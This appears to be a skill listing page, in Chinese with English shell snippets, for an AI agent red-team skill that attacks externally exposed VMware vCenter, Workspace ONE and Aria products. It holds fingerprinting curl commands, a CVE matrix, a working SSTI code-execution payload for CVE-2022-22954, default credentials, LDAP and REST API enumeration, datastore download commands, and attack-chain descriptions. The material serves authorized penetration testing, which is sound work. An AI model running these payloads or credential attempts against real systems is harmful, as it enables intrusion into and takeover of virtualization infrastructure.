mcpField
V
vmware-vcenter-attack

vmware-vcenter-attack

github.com/uphiago安全1.3k39 次安装8 周前更新
代码仓库

关于 vmware-vcenter-attack

vmware-vcenter-attack 是用于评估外部暴露的 VMware vCenter 及相关身份和管理产品的安全技能。它指导获授权的红队进行指纹识别、漏洞检查、暴露面审查和安全验证,并明确限制内部目标及漏洞利用执行。

主要功能

  1. 01识别 VMware 管理产品端点
  2. 02识别版本并匹配相关 CVE
  3. 03以仅检测方式探测指定漏洞
  4. 04审查 SSO、MOB 和 REST API 暴露
  5. 05检查 Workspace ONE 与 Aria 路径
  6. 06明确外部测试边界

适用场景

  1. 01在获授权项目中评估面向互联网的 vCenter
  2. 02验证已识别版本是否对应已知漏洞
  3. 03记录暴露的管理接口和信息泄露

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill vmware-vcenter-attack

安装后在 Claude Code 中输入/vmware-vcenter-attack确认已加载。

详细介绍

适用场景

当外部侦察发现以下任意迹象时触发:

  • 横幅:“VMware vCenter Server”、“VMware vSphere Client”
  • URL 路径:/ui、/ui/login、/websso/SAML2/Metadata、/sdk、/mob(Managed Object Browser)
  • TLS 证书 SAN 包含 vcenter / vsphere / vcsa / psc / vmware
  • Workspace ONE Access / Identity Manager:/SAAS、/SAAS/auth、/SAAS/login、/SAAS/horizon
  • VMware Aria / vRealize:/vco、/vco-controlcenter、/orchestrator、/lcm/api/v1
  • Horizon View:/portal、/admin

不要用于:

  • 内部网络中的 vCenter(不在范围内——遵守外部边界原则)
  • 纯 ESXi 虚拟机管理程序暴露在外、但未暴露管理平面(互联网中较少见;作为单独发现项标记)

第 1 步 — 版本指纹识别

TARGET="vcenter.target.com"

# Build info endpoint (often public; revealing exact patch level)
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/sdk/vimServiceVersions.xml"

# UI build (visible in page source)
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/ui/login" | grep -oE 'build[^"]{0,40}'
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/ui/" | grep -oE 'vsphere[^"]{0,40}'

# REST API version (vSphere 7+)
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/api/appliance/system/version"

# Cert metadata
echo | openssl s_client -connect "$TARGET:443" -servername "$TARGET" 2>/dev/null | openssl x509 -noout -text | grep -A1 "Subject Alt"

# SSO Admin Service (info disclosure)
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/sso-adminserver/sdk/vsphere.local"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/websso/SAML2/Metadata/vsphere.local"

通过 VMware 安全公告(vmware.com/security/advisories)将构建版本映射到产品版本及 CVE 适用情况。


第 2 步 — CVE 矩阵(可从外部利用,按历史影响排序)

CVE受影响产品利用向量状态
CVE-2024-37085ESXi 7.0/8.0 < 特定补丁AD 组“ESX Admins”自动授予管理员权限的绕过问题高危 — 接管域→ESXi RCE,曾在勒索软件行动中被利用
CVE-2024-22273ESXi/Workstation/Fusion/vCenter 存储控制器越界读写——需要访问虚拟机本地(不是预认证网络 SSRF;见第 9 节)重要(CVSS 8.1),无法通过外部预认证利用
CVE-2024-22252/53Workstation/Fusion(不包括 vCenter)沙箱逃逸无法从外部利用
CVE-2023-34048vCenter 7/8 < 特定构建版本DCE/RPC 预认证堆越界写入 → RCE严重,已于 2023-10 修复
CVE-2023-20887Aria Operations for Networks预认证命令注入 → RCE严重
CVE-2023-20892vCenter 7/8DCE/RPC 中的释放后使用漏洞高危
CVE-2022-31656/31659Workspace ONE Access 21.x预认证 SSRF + 身份验证绕过严重,可串联利用
CVE-2022-22954Workspace ONE Access预认证服务器端模板注入(SSTI)→ RCE严重,曾被广泛利用
CVE-2021-22005vCenter 6.7/7.0 < 构建版本Analytics 服务预认证文件上传 → RCE严重
CVE-2021-21985vCenter 6.5/6.7/7.0 < 构建版本vSAN Health Check 插件预认证 RCE严重
CVE-2021-21972vCenter 6.5/6.7/7.0 < 构建版本vRealize 插件 /ui/vropspluginui/rest/services/uploadova 预认证文件上传 → RCE严重,曾遭大量利用
CVE-2020-3992ESXi OpenSLP预认证释放后使用漏洞 → RCE严重,ESXi 勒索软件攻击向量
CVE-2019-5544ESXi OpenSLP预认证堆溢出严重

第 3 步 — CVE-2021-21972 探测(过时设备中仍很常见)

# Detection only — DO NOT execute the file upload without explicit scope OK
curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}\n" \
  "https://$TARGET/ui/vropspluginui/rest/services/uploadova"
# 405 → endpoint exists, version vulnerable
# 404 → patched (endpoint removed)
# 401 → patched (auth required)

curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}\n" \
  "https://$TARGET/ui/vropspluginui/rest/services/getstatus"

存在 Mikhail Klyuchnikov 编写的公开 PoC;未经明确批准尝试 RCE,不得对客户端基础设施执行。


第 4 步 — CVE-2022-22954(Workspace ONE SSTI)探测

# Stage A — detection only: reachability + baseline. No command execution yet.
curl --max-time 30 --connect-timeout 10 -sk -o /tmp/wone_baseline.txt -w "%{http_code}\n" \
  "https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=probe"
# 4xx with FreeMarker/catalog-portal error template → endpoint present, candidate vulnerable.
# 404 → patched/removed. Keep the baseline body to diff against Stage B.

# Stage B — execution (ONLY with explicit RCE-attempt sign-off): emit a unique canary
# so a coincidental WAF/error page containing "uid=" cannot be mistaken for real output.
CANARY="VCTR$(head -c8 /dev/urandom | od -An -tx1 | tr -d ' \n')"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/catalog-portal/ui/oauth/verify?error=&deviceUdid=\${\"freemarker.template.utility.Execution\"?new()(\"echo ${CANARY}; id\")}"
# Confirmed RCE ONLY if the response contains the exact $CANARY echoed back AND "uid=" output
# that is absent from /tmp/wone_baseline.txt (in-band command output, body-diff against baseline).

只有当唯一的 $CANARY 在带内回显,且 uid= 输出未出现在 Stage-A 基线中时,才可确认 RCE → 严重。立即停止并报告。仅出现 uid=、但未回显 canary,不能确认漏洞。


第 5 步 — 默认凭据(实验室/预发布 vCenter 中仍经常有效)

产品默认用户名默认密码
vCenter 6.x[email protected]<set-during-install>
vCenter Appliance rootrootvmware(旧版)或 <set>
ESXi rootroot<blank> 或 vmware
vCenter Server Appliance Mgmt (5480)root<set-during-install>
Aria Operationsadminvmware(旧版)
Workspace ONEadmin<set>

⚠ 不要对 vCenter 进行密码喷洒——[email protected] 的锁定阈值极低(通常尝试 3 次后锁定 60 秒,也可配置为永久锁定)。只有在高度确信猜测正确时才尝试一次。使用从泄露数据集中发现的凭据。


第 6 步 — SSO / vmdir LDAP 枚举

# SSO Admin endpoint (frequently exposes domain info)
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/websso/SAML2/Metadata/vsphere.local" | xmllint --format -

# Extract Identity Source info
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/sso-adminserver/sdk/vsphere.local"

# Try anonymous LDAP bind to vmdir (port 389/636 if exposed)
ldapsearch -x -H "ldap://$TARGET:389" -b "" -s base
ldapsearch -x -H "ldap://$TARGET:389" -b "cn=Configuration,cn=vmware,cn=cis,dc=vsphere,dc=local"

第 7 步 — Managed Object Browser (MOB) — 经常会泄露数据

curl --max-time 30 --connect-timeout 10 -skI "https://$TARGET/mob"
# 401 → auth required (good for the defender)
# 200 → MOB exposed → can browse VMs, hosts, datastores, sessions without credentials in some misconfigs

# Auth'd MOB lets you walk the entire vSphere tree:
curl --max-time 30 --connect-timeout 10 -sk -u '[email protected]:<pw>' "https://$TARGET/mob/?moid=ServiceInstance&doPath=content"

第 8 步 — vSphere REST API 枚举(获取凭据后)

# Get session token
curl --max-time 30 --connect-timeout 10 -sk -X POST -u '[email protected]:<pw>' "https://$TARGET/api/session"
# Returns: "<session-token>"

# List VMs
curl --max-time 30 --connect-timeout 10 -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/vm"

# List hosts
curl --max-time 30 --connect-timeout 10 -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/host"

# List datastores
curl --max-time 30 --connect-timeout 10 -sk -H "vmware-api-session-id: <token>" "https://$TARGET/api/vcenter/datastore"

# Datastore file download (HUGE — VMDK files, snapshots, credentials in cloud-init)
# /folder/<path>?dsName=<ds>&dcPath=<dc>
curl --max-time 30 --connect-timeout 10 -sk -H "vmware-api-session-id: <token>" "https://$TARGET/folder?dsName=datastore1&dcPath=Datacenter"

第 9 步——Workspace ONE Access 特定路径

# Metadata
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/SAAS/auth/saml/response"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/SAAS/auth/wsfed/services/idp"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/SAAS/jersey/manager/api/health"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/catalog-portal/services/airwatch/identifiers"

# Login page
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/SAAS/login/0"

第 10 步——Aria / vRealize 特定路径

# vRealize Operations Manager
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/suite-api/api/versions"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/casa/nodes/thumbprints"

# Aria Automation
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/csp/gateway/am/api/about"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/cluster-administration/api/health"

# vRealize Orchestrator
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/vco/api/about"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/vco-controlcenter/api/health"

工具

  • vCenter-Exploit 集合(GitHub 上针对 21972、21985、22005 的多个 PoC)
  • Greenbone/openvas-scanner VMware NASL 插件——版本检测
  • nuclei 模板:vmware-vcenter-*.yaml、cve-2021-21972.yaml、cve-2022-22954.yaml
  • Metasploit 模块:exploit/multi/http/vmware_vcenter_*

检测模式(防御人员 / SOC 会看到的情况)

  • /ui/vropspluginui/* 上大量出现 404——IDS 特征
  • 来自非管理 IP 的 /sdk POST 请求
  • [email protected] 身份验证失败
  • TLS 握手指纹发生变化
  • 向 vRealize 端点上传插件

与 mid-engagement-ir-detection 技能配合使用——成熟的 SOC 会严密监控 vCenter。


仅外部范围边界检查

如果侦察发现只能通过 VPN 访问 vCenter(无法直接从互联网访问)→ 停止。这是内部基础设施,根据 feedback_skill_boundaries,超出仅限外部的 AI 范围。内部 vCenter 工作由用户直接处理。

很遗憾,暴露在互联网边界上的 vCenter 很常见,而且经常多年未更新。即便到了 2026 年,2021-21972 / 21985 / 22954 三项漏洞仍然有效,因为虚拟机监控程序管理系统的修补周期很慢,而且通常由供应商管理。


严重性评分指南(红队交付内容背景)

发现严重性
vCenter 暴露在互联网上,已安装当前补丁信息(攻击面说明)
vCenter 暴露在互联网上,缺少包含公开 RCE 漏洞的补丁严重(整个虚拟化层遭到入侵)
vCenter 暴露在互联网上 + 管理员密码为默认密码严重(可立即完全接管)
Workspace ONE 暴露在互联网上,未修补 22954 漏洞严重
MOB 可匿名访问高(完整拓扑信息泄露)
/sdk 可访问 + 仅泄露版本信息中(信息泄露 + 攻击面集中)

反模式

  • 切勿对 vCenter SSO 进行密码喷洒——账户锁定机制很严格,通常只有一次机会
  • 未获得明确许可,切勿执行文件上传 PoC——它们会创建持久化 Webshell,增加清理工作量并留下审计记录
  • 切勿将 ESXi 管理接口暴露在互联网上与 vCenter 混为一谈——两者的攻击面不同;ESXi Open SLP CVE 的目标是端口 427
  • 切勿跳过 SSL 握手 Banner 检查——VMware 会在其中暴露版本信息;这是初始探测中噪声最低的方式

与相邻技能的衔接

  • enterprise-vpn-attack——vCenter 经常是 VPN 入侵后的目标;如果 VPN 被攻破,vCenter 是很自然的下一处跳板(但它属于内部系统,应交由用户处理)
  • m365-entra-attack——vCenter SSO 有时会与 Entra 联合;可衔接凭据链
  • mid-engagement-ir-detection——对 vCenter 的监控较为敏感;应预期在交战过程中采取缓解措施
  • redteam-report-template——vCenter 发现需要清楚说明影响范围(这是虚拟化层,而不只是一个应用)

验证

  1. vCenter 指纹——确认 vCenter URL 模式:
    echo "/ui/login" | grep -q "ui/login" && echo "PASS: vCenter UI path recognized" || echo "FAIL"
    echo "/sdk" | grep -q "sdk" && echo "PASS: vCenter SDK path recognized" || echo "FAIL"
    

所有测试均验证 vCenter 攻击就绪状态。


注意事项

  • 只发现 vCenter 版本,未发现 CVE——获知 vCenter 版本属于侦察。需要存在影响该特定版本的预身份验证 CVE。
  • 假定可进行后利用——vCenter 攻击通常需要先获得初始立足点。发现内容应说明进入后能做什么,而不是如何进入。
  • 混淆 ESXi 与 vCenter——vCenter 管理 ESXi 主机。攻击 vCenter 可控制整个集群;攻击单个 ESXi 主机则只能控制一台机器。
  • VM 逃逸难度极高——从客户机逃逸到虚拟机监控程序极其困难。应优先关注 vCenter 凭据窃取,再考虑 VM 逃逸。
  • SSO 域管理员——vCenter SSO 的 [email protected] 拥有不受限制的权限。此账户是首要目标。
  • Log Insight / vRealize——vCenter 附加组件(Log Insight、vRealize Operations)有各自的 CVE。不要只检查 vCenter Web UI。

相关技能与攻击链

  • hunt-saml — vCenter Workspace ONE / VMware Identity Manager 会在 /SAAS/API/1.0/GET/metadata/idp.xml 发布 SAML SP 元数据,并在可预测的 ACS URL 接收断言。攻击链原语:可访问 vCenter SAML SP 元数据 → 对 IdP 进行指纹识别 → 针对联合 IdP 使用 hunt-saml 的 XSW1-XSW8 → 伪造包含 [email protected] 的断言 → 以 vCenter 管理员身份冒充 SP → 全面接管虚拟化平面。
  • hunt-rce — VMware 高危 CVE 目录(CVE-2021-21972、CVE-2021-21985、CVE-2022-22954、CVE-2023-20887)几乎全是预认证 RCE。攻击链原语:通过 SSL 横幅或 /ui/login 正文识别 vCenter 版本 → 确认缺少相应补丁 → 使用匹配 CVE PoC 中的反序列化 / SSTI gadget 执行 hunt-rce → 获取 vCenter 设备上的 root 权限 → 生成 API 令牌 → 控制整个集群的 VM。
  • enterprise-vpn-attack — VPN 被攻陷后,内网中的 vCenter 是自然的后续跳板,但仅限外部的测试范围有时会禁止此操作。攻击链原语:VPN 设备 CVE → 在公司网络内建立立足点 → 若测试范围允许,vmware-vcenter-attack 即可访问仅限内网的 vCenter → 接管数据中心。
  • m365-entra-attack — 某些 VMware 部署会将 vCenter SSO 联合到 Entra。攻击链原语:发现 vCenter SSO → AuthURL 指向 login.microsoftonline.com → 通过 m365-entra-attack 对 [email protected] 同步身份执行 Entra ATO → 获取 SAML 断言 → 无需暴力破解 vCenter SSO 即可成为 vCenter 管理员。
  • mid-engagement-ir-detection — VMware vSAN/vCenter 告警较为敏感;检测到问题后,预计 SOC 会在数小时内修补或阻止攻击。攻击链原语:确认存在 vCenter CVE → 在尝试利用之前运行 mid-engagement-ir-detection 基线采集 → 如果测试期间响应模式发生变化,将 SOC 修补后的状态作为第二项发现记录(观察到防御措施)。使用 redteam-report-template 将两者一并打包。

已披露 CVE 与协调披露引用

以下是上方矩阵中所有 CVE 的关键公开参考资料。每项都包含供应商公告、最初研究人员的分析或 KEV 目录条目,以及(如已公开)在野利用的参考资料。

1. CVE-2021-21972 — vCenter vropspluginui 未经身份验证的任意文件上传(典型的预认证 RCE)
2. CVE-2021-21985 — vCenter vSAN Health Check 插件预认证 RCE
3. CVE-2021-22005 — vCenter Analytics 服务任意文件上传 → RCE
4. CVE-2022-22954 — Workspace ONE Access / Identity Manager FreeMarker SSTI → RCE
5. CVE-2022-22972 — Workspace ONE Access / Identity Manager / vRealize Automation Host 标头身份验证绕过
6. CVE-2023-20887 — VMware Aria Operations for Networks(vRealize Network Insight)预身份验证命令注入 → RCE
7. CVE-2023-34048 — vCenter Server DCERPC 预认证越界写入 → RCE(APT 利用的零日漏洞)
8. CVE-2024-37085 — ESXi Active Directory 集成中的“ESX Admins”身份验证绕过(勒索软件团伙最爱)
9. CVE-2024-22273 — ESXi / Workstation / Fusion / vCenter 存储控制器越界读写
  • 关于原始工单的说明: 该 CVE 在简报中被列为“Aria SSRF”,但 NVD 的实际记录描述的是 ESXi/vCenter 存储控制器越界读写,并非 Aria SSRF。2024 年周期内与 Aria SSRF 最接近的问题是 CVE-2023-34063(VMSA-2024-0001)——Aria Automation 缺少访问控制,允许已通过身份验证的用户跨组织访问;CVSSv3 9.9。此处同时引用两项,以确保矩阵在技术上准确。
  • 受影响版本(CVE-2024-22273): ESXi 7.0/8.0、Workstation 17.x、Fusion 13.x,以及打包了相关组件的 vCenter Server 版本。需要在启用了存储控制器的情况下获得虚拟机本地访问权限。
  • 攻击流程: 启用了存储控制器的虚拟机可发起特制 I/O,触发主机上的越界读写 → 导致主机信息泄露或拒绝服务(未直接证明可逃逸)。CVSS 8.1(重要)。
  • 根本原因: 存储控制器模拟路径中缺少边界检查。
  • 披露情况: 由天工团队(奇安信集团 Legendsec)的 Hao Zheng(@zhz)和 Jiaqing Huang(@s0duku)报告。安全公告 VMSA-2024-0011 于 2024-05-21 发布。发现年份:2024;修复年份:2024。
  • 参考资料: https://www.vmware.com/security/advisories/VMSA-2024-0011.html ;https://nvd.nist.gov/vuln/detail/CVE-2024-22273 ;https://www.rapid7.com/db/vulnerabilities/vmsa-2024-0011-cve-2024-22273/
  • Aria 相关问题 — CVE-2023-34063(VMSA-2024-0001): Aria Automation 8.11.x–8.14.x 缺少访问控制,导致已通过身份验证的用户未经授权跨组织访问远程工作流。CVSSv3 9.9。在 Aria Automation 8.16 中修复。参考资料:https://www.vmware.com/security/advisories/VMSA-2024-0001.html ;https://www.cisa.gov/news-events/alerts/2024/01/17/vmware-releases-security-advisory-aria-automation
10. CVE-2020-3992 + CVE-2021-21974 — ESXi OpenSLP 未经身份验证的释放后使用 / 堆溢出(ESXiArgs 勒索软件攻击途径)
额外内容:CVE-2022-31656 — Workspace ONE Access / Identity Manager / vRealize Automation 身份验证绕过(22972 后续补充)

关键元参考资料(跨 CVE)

以上每条记录都体现出同一规律:VMware 管理平面 CVE 无需身份验证即可利用,可通过网络访问,并且补丁发布后数日内就会遭到大规模利用。 当外部侦察发现这些产品中的任何一种仍处于比当前版本落后一个补丁级别的状态时,应将其列为严重发现,并在交付成果中当天特别指出,而不是归为中危信息泄露。

评论

支持 Markdown